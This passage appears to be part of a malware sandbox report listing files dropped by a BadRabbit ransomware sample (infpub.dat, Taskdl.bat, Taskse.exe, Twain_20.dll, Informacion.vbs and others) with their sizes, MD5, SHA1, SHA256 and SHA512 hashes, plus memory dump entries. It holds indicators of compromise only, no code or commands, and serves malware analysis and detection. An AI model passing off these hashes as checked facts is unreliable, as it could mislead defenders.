fb7922aedd199e134d5d8a9951faf015e295c2cc

SHA256
df73718d8f926c544bc641c7fbf781ec137439488c529d2e1548c3dbe66ef3b8

SHA512
6e1810d98682646a9dfcb2c0bb100b038cc270ccb26963bcba0af6023856cbb9871cd07be0757065451ca6380d3509a40287481942bff616a58520aa94bfe874

Download Submit
C:\Users\Admin\Desktop\Informacion.vbs

Filesize
69B

MD5
72946942abf5cf295f726b816c531ebf

SHA1
8ac5ccae8003c3776c2e0ee0959a76c8bc913495

SHA256
d9fc0446467e00e640f0dd0bf36882943a6993dcc1038ba8f73239152896eb25

SHA512
2f42b10e2c1359a690e1a69e307008e3beb4712e4c071d916fb1380c61cb2ed3ae48c86af44c6f1c9d613e85dd75d8cfd66fd01de0649444ee6d5193d9789d23

Download Submit
C:\Users\Admin\Desktop\Informacion.vbs

Filesize
345B

MD5
e6fe3d479fc70127f3a46e450f8f8b47

SHA1
874ceadce4ee46f8fc3e48d9beaeaea8c9b4822d

SHA256
778f2bda8479351df7d7f2c204fc19a307abc7012f3e5f7dd6cb75d99f4cfea1

SHA512
9a0991b24d7a636d2e5519398264e77813fa3c9268abde97f844c4b40b60e07abff9485c09661d6970a4c0926f327cd8f47659f23e52ef014364516d2748100d

Download Submit
C:\Users\Admin\Desktop\Taskdl.bat

Filesize
173B

MD5
0c998e3681eb9f67fbacda38281c5fa7

SHA1
bd3e89780f374c54c5dfbe3fab83a926ca5803de

SHA256
3c656f47268598c5bbe3ee4661b4f8c7dc09420cf393a6e417541db3c6020205

SHA512
11e3fd1d141bd23a2b0f17665f0f57e5a606fdd82555a7bd88cd533863ce4269d8395f8963d1cdfde93efbb0817486db48c3b593f8de35e150e2395daadb762e

Download Submit
C:\Users\Admin\Desktop\Taskdl.bat

Filesize
1KB

MD5
d21ac8aa72f552768867383ec8415ee9

SHA1
38f11dfdf79fcebd37c293edd3284e3067e4d427

SHA256
f89f491c29ab8c365dd6ea001dbccdfbf8d7b0ed0753c07fcbd7f8675bf62d96

SHA512
e743c49edba209b6df307b08133177283efe4fc14b0339d058bcb2edb107511a694626f5766cf0d48b82392bb439d0d4eec62679d4a1e702d77a70c44f1237a3

Download Submit
C:\Users\Admin\Desktop\Taskdl.bat

Filesize
2KB

MD5
109de4c6811f08cd4c36417724afa33f

SHA1
89ae37b76f071e5d2102d044eecf95a7a1a618ae

SHA256
72e4b3f080b33505a3890dca87c29fd2f8a171691dc5facccdfbf15065694bc3

SHA512
9bd43f203bf57213998d97b0533d7c745cb343124a9439d2522689fa499e346cf12ce7a7dbf35b11730cb7a5e973c75bbeed242999d3c2f9205099bac4063258

Download Submit
C:\Users\Admin\Desktop\Taskdl.bat

Filesize
2KB

MD5
0ec4d96fcc5da1512ca0860c8b5fef58

SHA1
8e9632106f33bccb40efe4367d3675b647a85db2

SHA256
fc7a25d58e943b74bdfb63ed5d12e68b620d57b7dc39b710b1dfadc62ef82c54

SHA512
6bf6518b2b500d6333f7695df702e3b4f34e6e0a0530fcd713df4b18a700287e0df80c41010dab0eb7d6daafb0413bf8c14456457d344d4304c53adc4ba2f658

Download Submit
C:\Users\Admin\Desktop\Taskdl.bat

Filesize
4KB

MD5
53180026c7efe99880b156f729bbbf8f

SHA1
44c716c92026690bf25c87b003f2324cdd0bcf40

SHA256
32e6379ab65351c1ff37fffbe3126ac831be8a0fa4a2aea278c299c3e14488ce

SHA512
8b59745a80e5d23c20e31a7681774185f08d4d8c7efbbf3f2e96d5a536576ad4495985f2d347a21a40663a27feff034b312b0fb61a340c1f3b9c6092e222b082

Download Submit
C:\Users\Admin\Desktop\Taskse.exe

Filesize
4KB

MD5
f6125346d44645f9cd1530d50652b709

SHA1
184d142df30f7ddff01a758753de1fe495f3fa87

SHA256
608a834d60e9bbb7e4100ff2d6f7d9fc94cec7e68570986e228a3b9b2037f386

SHA512
bf00659461ca3860659138e527de189b90fff3cd9efb0e8eaad488472d2fe86b76f2dfd5bf5b267e6af90bf16fad962cd8771ec024219882b369d9a39a4d5678

Download Submit
C:\Users\Admin\Desktop\Taskse.exe

Filesize
6KB

MD5
cd91498ad27a7e9bfa3d2059ec26c724

SHA1
10cdf48fc8d09d5f82543039e6f2ae602bfbc873

SHA256
9ebae4874d164d737b46f01fe013927cb4d89ca960a612775d86949161eca203

SHA512
4b816665661185057cbd1a8e8a90db810acc91fd87bb8db43d58f363dfbe57dbd51e3e6cfe9a5205040c02ddfc3c1bacb0311b9bc3f4f9bad90ada26a0a48420

Download Submit
C:\Users\Admin\Desktop\Twain_20.cmd

Filesize
39B

MD5
bc987a29d1417f4bf9ed17152376babe

SHA1
edf76ea21860c46436e7897588d087620f361ef0

SHA256
d4f0728ce337a4fc3f0b53e87ff51f8c9b76ba13e935f3ca1ce1b9de3a7c2b7f

SHA512
3dc29b489bbee251bfa4110dd13e51eaaef4988f9909e58581c87ba8cba1d06989fa01e61c6fd01d07241560e4be5a45512c2e01c3e649838048f9376c96157e

Download Submit
C:\Users\Admin\Desktop\Twain_20.cmd

Filesize
158B

MD5
ad0010095a82da61b486dbe70cd90767

SHA1
67d5a65f8cee8409dfcec2da99d290a2730cd662

SHA256
28d651bd0e01d8ee66b46b064b05841cf33e44f3c55ee8b0612f5a812bf0de43

SHA512
93a5f5c2f71a00ce760f1efe89280e259b3f75f1d04e3a1708d683c0b9a619fb5ac577e0d9f59c3b767c3b45323e3af9450362624526705766bf77a94b4aa827

Download Submit
C:\Users\Admin\Desktop\Twain_20.cmd

Filesize
11B

MD5
9905e5a33c6edd8eb5f59780afbf74de

SHA1
64b2cd0186ff6fe05072ee88e2bb54476023772e

SHA256
c134b2f85415ba5cfce3e3fe4745688335745a9bb22152ac8f5c77f190d8aee3

SHA512
e10711d0fb09db27192e9af05ae45b83cf3882d98e904a7f1f969cf24c2f9626f70f35d76f57477fe9c64a58bc74100410740e9d506d4e72d3e2900d6277816e

Download Submit
C:\Users\Admin\Desktop\windowswimn32.bat

Filesize
49B

MD5
cfb046d3c9513b92c1b287da26f97c28

SHA1
ea8208c4dad826b7fdb3b5b728863a95e86d4383

SHA256
a06f170d4f92bf290e38b0ce1c05bb59c95de2797b1a5253b949ad7e1be9818b

SHA512
dbeeea4d284f59e1455a5426334caa02458e88833aeece9817c51be616697ca4c399b2a9d0e8e44bf4a5ee63d0b37c0aed68c01f1748fa5a23ed6d2af62b3340

Download Submit
C:\Users\Admin\Desktop\windowswimn32.bat

Filesize
22B

MD5
fe669e0a3a56961fba38ef9b7f7d01dd

SHA1
338b6f4a3ec71587d53aec450ca5448928f966a1

SHA256
138b48a413afa60daa506090fa4332d913a1f9d895b6c289c36dd7db00019d64

SHA512
ff0bc50cef59421253578172602a56f9f9b3a8988a16576eaf8a004792d330c708dbed95f5f4074fb2eec36d7df7f4a0392c88420d2b0678cd907056a23cd41b

Download Submit
C:\Users\Admin\Desktop\windowswimn32.bat

Filesize
44B

MD5
ea260c435f9eb83e2b5041e734ff3598

SHA1
ca70d64367cbdffbbf24e82baff4048119203a2e

SHA256
3ade659fdae17c11c3f42b712f94045691fbd0b413428b73e1de8fe699e74615

SHA512
548624cc523aeb4136376f792d23b3f2aee4a676362f8a0dd0e8161f0df87ab926b82f67fc174eb5d9473c23f49e6ca962bc84479967f7e624250d94efa66876

Download Submit
C:\Users\Admin\Downloads\BadRabbit.exe

Filesize
431KB

MD5
fbbdc39af1139aebba4da004475e8839

SHA1
de5c8d858e6e41da715dca1c019df0bfb92d32c0

SHA256
630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da

SHA512
74eca8c01de215b33d5ceea1fda3f3bef96b513f58a750dba04b0de36f7ef4f7846a6431d52879ca0d8641bfd504d4721a9a96fa2e18c6888fd67fa77686af87

Download Submit
C:\Windows\CA51.tmp

Filesize
60KB

MD5
347ac3b6b791054de3e5720a7144a977

SHA1
413eba3973a15c1a6429d9f170f3e8287f98c21c

SHA256
301b905eb98d8d6bb559c04bbda26628a942b2c4107c07a02e8f753bdcfe347c

SHA512
9a399916bc681964af1e1061bc0a8e2926307642557539ad587ce6f9b5ef93bdf1820fe5d7b5ffe5f0bb38e5b4dc6add213ba04048c0c7c264646375fcd01787

Download Submit
C:\Windows\Debug\WIA\wiatrace.log

Filesize
3KB

MD5
fc1e387c39b9189f85a893386027e7a4

SHA1
9ac508af1d8b393c6bb4e6cca1e7356cfb9b0481

SHA256
0278773dc700979314dcba01ffdd2f8412b240185cb96815711a082afeb96bfd

SHA512
5be5c06f28308198c93df8f13cd111bd5ce9c5ad034e24bbab2db7255c09683acc8ac9a7c65913ca972d6930d961ea886f949cf8e7d6043f472a3112ecfe11b1

Download Submit
C:\Windows\System32\Twain_20.dll

Filesize
106KB

MD5
8b6a377f9a67d5482a8eba5708f45bb2

SHA1
7197436525e568606850ee5e033c43aea1c3bc91

SHA256
6ca11c8b6442db97c02f3b0f73db61f58c96d52e8a880e33abee5b10807d993f

SHA512
644e51798399168530b05e629b414dd80cac678bd3c8d4a5d164f55736a2b2fd380d3ca4640f7a034c8f043c06b1527b473e2d17da088d5e97de6ea04120dd72

Download Submit
C:\Windows\infpub.dat

Filesize
401KB

MD5
1d724f95c61f1055f0d02c2154bbccd3

SHA1
79116fe99f2b421c52ef64097f0f39b815b20907

SHA256
579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648

SHA512
f2d7b018d1516df1c97cfff5507957c75c6d9bf8e2ce52ae0052706f4ec62f13eba6d7be17e6ad2b693fdd58e1fd091c37f17bd2b948cdcd9b95b4ad428c0113

Download Submit
C:\Windows\infpub.dat

Filesize
401KB

MD5
c4f26ed277b51ef45fa180be597d96e8

SHA1
e9efc622924fb965d4a14bdb6223834d9a9007e7

SHA256
14d82a676b63ab046ae94fa5e41f9f69a65dc7946826cb3d74cea6c030c2f958

SHA512
afc2a8466f106e81d423065b07aed2529cbf690ab4c3e019334f1bedfb42dc0e0957be83d860a84b7285bd49285503bfe95a1cf571a678dbc9bdb07789da928e

Download Submit
memory/1796-988-0x0000000002880000-0x00000000028E8000-memory.dmp

Filesize
416KB

Download
memory/1796-991-0x0000000002880000-0x00000000028E8000-memory.dmp

Filesize
416KB

Download
memory/1796-980-0x0000000002880000-0x00000000028E8000-memory.dmp

Filesize
416KB

Download
memory/2692-1058-0x0000000002AA0000-0x0000000002B08000-memory.dmp

Filesize
416KB

Download
memory/2692-1066-0x0000000002AA0000-0x0000000002B08000-memory.dmp

Filesize
416KB

Download
memory/3652-1020-0x0000000002CC0000-0x0000000002D28000-memory.dmp

Filesize
416KB

Download
memory/3652-1028-0x0000000002CC0000-0x0000000002D28000-memory.dmp

Filesize
416KB

Download
memory/5564-1081-0x0000000000D30000-0x0000000000D98000-memory.dmp

Filesize
416KB

Download
memory/5880-1041-0x0000000002CB0000-0x0000000002D18000-memory.dmp

Filesize
416KB

Download
memory/5880-1033-0x0000000002CB0000-0x0000000002D18000-memory.dmp

Filesize
416KB

Download